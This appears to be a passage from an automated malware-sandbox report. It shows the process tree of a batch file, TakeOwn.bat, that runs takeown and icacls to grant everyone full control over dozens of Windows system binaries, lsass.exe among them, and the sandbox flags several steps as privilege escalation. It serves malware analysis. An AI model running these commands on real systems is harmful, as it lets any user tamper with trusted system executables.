      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\MSBuild.exe"
      4⤵
      PID:2044
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\MSBuild.exe"
        5⤵
        
        PID:5164
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\MSBuild.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1684
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\vbc.exe"
      4⤵
      PID:4804
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\vbc.exe"
        5⤵
        
        PID:3232
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\vbc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v3.5\WFServicesReg.exe"
      4⤵
      PID:3876
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v3.5\WFServicesReg.exe"
        5⤵
        
        PID:2796
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v3.5\WFServicesReg.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1956
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3580
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5356
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe" /grant "everyone":(f)
        5⤵
        
        PID:1964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:2260
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"
        5⤵
        
        PID:4740
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe" /grant "everyone":(f)
        5⤵
        
        PID:912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe"
      4⤵
      PID:4168
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6020
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe"
        5⤵
        Modifies file permissions
        
        PID:4688
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:1096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4388
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:1924
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" /grant "everyone":(f)
        5⤵
        
        PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:1556
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:4780
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:4852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regbrowsers.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4452
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5432
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regbrowsers.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3568
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regbrowsers.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5584
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4844
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe"
        5⤵
        
        PID:4784
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe" /grant "everyone":(f)
        5⤵
        
        PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regsql.exe"
      4⤵
      PID:1140
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regsql.exe"
        5⤵
        
        PID:2684
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regsql.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:3312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5468
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe"
        5⤵
        
        PID:5816
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe" /grant "everyone":(f)
        5⤵
        
        PID:5892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
      4⤵
      PID:4144
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
        5⤵
        
        PID:1624
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" /grant "everyone":(f)
        5⤵
        
        PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe"
      4⤵
      PID:5492
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe"
        5⤵
        Modifies file permissions
        
        PID:3836
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe" /grant "everyone":(f)
        5⤵
        
        PID:1256
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ComSvcConfig.exe"
      4⤵
      PID:4348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4296
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ComSvcConfig.exe"
        5⤵
        
        PID:4532
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:4916
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
      4⤵
      PID:3240
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
        5⤵
        
        PID:3632
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /grant "everyone":(f)
        5⤵
        
        PID:3408
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe"
      4⤵
      PID:3936
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe"
        5⤵
        
        PID:2296
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5252
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\DataSvcUtil.exe"
      4⤵
      PID:1944
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\DataSvcUtil.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1032
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\DataSvcUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:664
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:4044
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
        5⤵
        
        PID:2388
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5488
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\EdmGen.exe"
      4⤵
      PID:5152
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\EdmGen.exe"
        5⤵
        
        PID:4192
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\EdmGen.exe" /grant "everyone":(f)
        5⤵
        
        PID:2312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1072
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5168
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2432
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:4472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:3420
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:1832
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe"
      4⤵
      PID:5260
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe"
        5⤵
        
        PID:4308
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe" /grant "everyone":(f)
        5⤵
        
        PID:2160
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
      4⤵
      PID:5428
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3192
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
        5⤵
        
        PID:5036
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1828
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4028
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
        5⤵
        
        PID:5100
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:3676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe"
      4⤵
      PID:2100
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3652
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe"
        5⤵
        
        PID:5728
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:3732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe"
      4⤵
      PID:5864
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3396
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe"
        5⤵
        
        PID:4064
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:5560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe"
      4⤵
      PID:5184
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2180
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe"
        5⤵
        
        PID:2308
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe" /grant "everyone":(f)
        5⤵
        
        PID:3176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
      4⤵
      PID:5676
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
        5⤵
        Modifies file permissions
        
        PID:2852
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" /grant "everyone":(f)
        5⤵
        
        PID:3872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:4316
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
        5⤵
        
        PID:5136
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe" /grant "everyone":(f)
        5⤵
        
        PID:5964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4036
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:728
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe"
      4⤵
      PID:4944
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe"
        5⤵
        Modifies file permissions
        
        PID:1964
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        
        PID:5508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:896
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe"
        5⤵
        
        PID:912
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /grant "everyone":(f)
        5⤵
        
        PID:2564
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WsatConfig.exe"
      4⤵
      PID:2088
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1468
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WsatConfig.exe"
        5⤵
        
        PID:5888
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:5048
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\msagent\AgentSvr.exe"
      4⤵
      PID:752
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\msagent\AgentSvr.exe"
        5⤵
        
        PID:4156
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\msagent\AgentSvr.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\notepad.exe"
      4⤵
      PID:4684
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\notepad.exe"
        5⤵
        
        PID:3944
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\notepad.exe" /grant "everyone":(f)
        5⤵
        
        PID:4596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\PrintDialog\PrintDialog.exe"
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\PrintDialog\PrintDialog.exe"
        5⤵
        
        PID:4484
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\PrintDialog\PrintDialog.exe" /grant "everyone":(f)
        5⤵
        
        PID:4008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\regedit.exe"
      4⤵
      PID:4784
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\regedit.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1156
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\regedit.exe" /grant "everyone":(f)
        5⤵
        
        PID:2812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lockapp.appxmain_31bf3856ad364e35_10.0.22000.348_none_e2c7a9ab59285812\f\LockApp.exe"
      4⤵
      PID:2124
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lockapp.appxmain_31bf3856ad364e35_10.0.22000.348_none_e2c7a9ab59285812\f\LockApp.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4488
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lockapp.appxmain_31bf3856ad364e35_10.0.22000.348_none_e2c7a9ab59285812\f\LockApp.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:2176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpksetup.exe"
      4⤵
      PID:4568
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5468
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpksetup.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:5980
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpksetup.exe" /grant "everyone":(f)
        5⤵
        
        PID:5084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpremove.exe"
      4⤵
      PID:5236
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpremove.exe"
        5⤵
        
        PID:1256
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lpksetup_31bf3856ad364e35_10.0.22000.348_none_1cb0f82bf1aef3cc\f\lpremove.exe" /grant "everyone":(f)
        5⤵
        
        PID:5492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lsa-minwin_31bf3856ad364e35_10.0.22000.434_none_38ca096a17805fa9\f\lsass.exe"
      4⤵
      PID:1148
    - - C:\Windows\SysWOW64\takeown.exe
        
